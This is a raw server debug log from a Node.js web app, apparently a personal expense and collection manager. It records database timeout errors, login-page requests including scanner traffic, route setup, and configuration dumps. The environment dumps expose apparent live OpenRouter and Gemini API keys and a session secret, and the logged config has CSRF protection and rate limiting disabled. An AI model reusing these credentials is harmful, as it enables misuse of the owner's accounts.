    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.45',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.45',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 09:12:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 09:12:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 09:23:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 09:23:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 13:14:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 13:14:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 14:23:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 14:23:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 14:56:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 14:56:25' as DATETIME)"
}
2026-02-23T17:28:07.082Z server-connect:router Serving templateView /
2026-02-23T17:28:07.083Z server-connect:app Executing action step identify
2026-02-23T17:28:07.083Z server-connect:app options: { provider: 'security' }
2026-02-23T17:28:07.084Z server-connect:auth No login cookie found
2026-02-23T17:28:07.084Z server-connect:output identity: false
2026-02-23T17:28:07.084Z server-connect:app Executing action step restrict
2026-02-23T17:28:07.084Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-23T17:28:07.084Z server-connect:output restrict: undefined
2026-02-23T17:28:07.185Z server-connect:router Serving templateView /login
2026-02-23T17:28:07.185Z server-connect:app Executing action step identify
2026-02-23T17:28:07.185Z server-connect:app options: { provider: 'security' }
2026-02-23T17:28:07.185Z server-connect:auth No login cookie found
2026-02-23T17:28:07.185Z server-connect:output identity: false
2026-02-23T17:28:07.185Z server-connect:router Render template layouts/authentication
2026-02-23T17:28:07.185Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '107.21.11.47',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-24T17:28:07.184Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '107.21.11.47',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '107.21.11.47',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-23T18:09:45.664Z server-connect:router Serving templateView /
2026-02-23T18:09:45.665Z server-connect:app Executing action step identify
2026-02-23T18:09:45.665Z server-connect:app options: { provider: 'security' }
2026-02-23T18:09:45.665Z server-connect:auth No login cookie found
2026-02-23T18:09:45.665Z server-connect:output identity: false
2026-02-23T18:09:45.665Z server-connect:app Executing action step restrict
2026-02-23T18:09:45.665Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-23T18:09:45.666Z server-connect:output restrict: undefined
2026-02-23T18:09:46.058Z server-connect:router Serving templateView /
2026-02-23T18:09:46.058Z server-connect:app Executing action step identify
2026-02-23T18:09:46.058Z server-connect:app options: { provider: 'security' }
2026-02-23T18:09:46.058Z server-connect:auth No login cookie found
2026-02-23T18:09:46.058Z server-connect:output identity: false
2026-02-23T18:09:46.058Z server-connect:app Executing action step restrict
2026-02-23T18:09:46.059Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-23T18:09:46.059Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 22:34:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 22:34:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 23:03:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 23:03:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-23 23:30:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-23 23:30:25' as DATETIME)"
}
2026-02-24T11:36:54.471Z server-connect:router Serving templateView /
2026-02-24T11:36:54.472Z server-connect:app Executing action step identify
2026-02-24T11:36:54.472Z server-connect:app options: { provider: 'security' }
2026-02-24T11:36:54.472Z server-connect:auth No login cookie found
2026-02-24T11:36:54.472Z server-connect:output identity: false
2026-02-24T11:36:54.472Z server-connect:app Executing action step restrict
2026-02-24T11:36:54.472Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T11:36:54.473Z server-connect:output restrict: undefined
2026-02-24T11:36:54.861Z server-connect:router Serving templateView /login
2026-02-24T11:36:54.861Z server-connect:app Executing action step identify
2026-02-24T11:36:54.861Z server-connect:app options: { provider: 'security' }
2026-02-24T11:36:54.861Z server-connect:auth No login cookie found
2026-02-24T11:36:54.861Z server-connect:output identity: false
2026-02-24T11:36:54.862Z server-connect:router Render template layouts/authentication
2026-02-24T11:36:54.862Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T11:36:54.861Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T12:01:26.311Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-24T12:01:28.578Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-24T12:01:29.444Z server-connect:setup:upload Upload middleware configured.
2026-02-24T12:01:29.445Z server-connect:secure CSRF Protection initialized
2026-02-24T12:01:29.447Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-24T12:01:29.452Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-24T12:01:29.453Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-24T12:01:29.454Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-24T12:01:29.462Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-24T12:01:29.463Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-24T12:01:29.477Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-24T12:01:29.490Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-24T12:01:29.492Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-02-24T12:01:29.496Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-24T12:01:29.502Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-24T12:01:29.512Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-24T12:01:29.516Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-24T12:01:29.588Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-24T12:01:29.589Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-24T12:01:29.589Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-02-24T12:01:29.589Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-02-24T12:01:29.590Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-02-24T12:01:29.590Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-02-24T12:01:29.598Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-24T12:01:29.600Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-24T12:01:29.605Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-24T12:01:29.607Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-24T12:01:29.611Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-24T12:01:29.613Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-24T12:01:29.615Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-24T12:01:29.621Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-24T12:01:29.623Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-24T12:01:29.625Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-24T12:01:29.627Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-24T12:01:30.115Z server-connect:router Serving templateView /
2026-02-24T12:01:30.117Z server-connect:app Executing action step identify
2026-02-24T12:01:30.117Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:30.119Z server-connect:auth No login cookie found
2026-02-24T12:01:30.119Z server-connect:output identity: false
2026-02-24T12:01:30.119Z server-connect:app Executing action step restrict
2026-02-24T12:01:30.119Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:01:30.123Z server-connect:output restrict: undefined
2026-02-24T12:01:30.405Z server-connect:router Serving templateView /login
2026-02-24T12:01:30.405Z server-connect:app Executing action step identify
2026-02-24T12:01:30.405Z server-connect:app options: { provider: 'security' }
2026-02-24T12:01:30.405Z server-connect:auth No login cookie found
2026-02-24T12:01:30.405Z server-connect:output identity: false
2026-02-24T12:01:30.405Z server-connect:router Render template layouts/authentication
2026-02-24T12:01:30.406Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
